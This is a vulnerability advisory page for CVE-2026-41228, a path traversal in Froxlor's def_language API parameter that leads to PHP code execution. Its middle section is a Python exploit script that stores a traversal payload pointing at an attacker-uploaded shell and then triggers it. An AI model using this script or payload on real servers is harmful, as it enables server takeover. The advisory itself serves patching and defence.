Security Vulnerability Report
中文
CVE-2026-41228 CVSS 9.9 CRITICAL

CVE-2026-41228

Published: 2026-04-23 04:16:19
Last Modified: 2026-04-27 17:00:34

Description

Froxlor is open source server administration software. Prior to version 2.3.6, the Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user. Version 2.3.6 fixes the issue.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:* - VULNERABLE
Froxlor < 2.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target configuration target_url = "https://vulnerable-froxlor.example.com" api_endpoint = f"{target_url}/api.php" login_endpoint = f"{target_url}/index.php" # Attacker credentials (low privilege customer) username = "customer1" password = "password123" # 1. Login to get session token session = requests.Session() login_data = { "loginname": username, "password": password } response = session.post(login_endpoint, data=login_data) if "dashboard" not in response.text: print("Login failed") exit(1) # 2. Exploit the vulnerability via API # Payload: Path traversal pointing to a file controlled by the attacker # Assuming the attacker has uploaded a shell or can write to a known path payload_path = "../../../../../var/customers/webs/customer1/evil.php" api_headers = { "Content-Type": "application/json" } # Update def_language to the malicious path update_data = { "command": "Froxlor\Api\Commands\Customers\Update", "params": { "id": 1, # Valid customer ID "def_language": payload_path } } print(f"[*] Sending malicious payload: {payload_path}") exploit_response = session.post(api_endpoint, headers=api_headers, data=json.dumps(update_data)) if exploit_response.status_code == 200: print("[+] Payload stored successfully in database.") print("[*] Triggering code execution by refreshing the page or waiting for Language::loadLanguage() call...") # Subsequent request to the server will trigger the require() trigger = session.get(target_url) print("[+] Check your webshell listener.") else: print("[-] Exploit failed") print(exploit_response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41228", "sourceIdentifier": "[email protected]", "published": "2026-04-23T04:16:19.193", "lastModified": "2026-04-27T17:00:33.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Froxlor is open source server administration software. Prior to version 2.3.6, the Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user. Version 2.3.6 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.6", "matchCriteriaId": "9A9C896A-1305-4134-850E-4B44962A6C0A"}]}]}], "references": [{"url": "https://github.com/froxlor/froxlor/commit/bc5e6dbaa90e6f3573129da640595e8c770e1d0c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}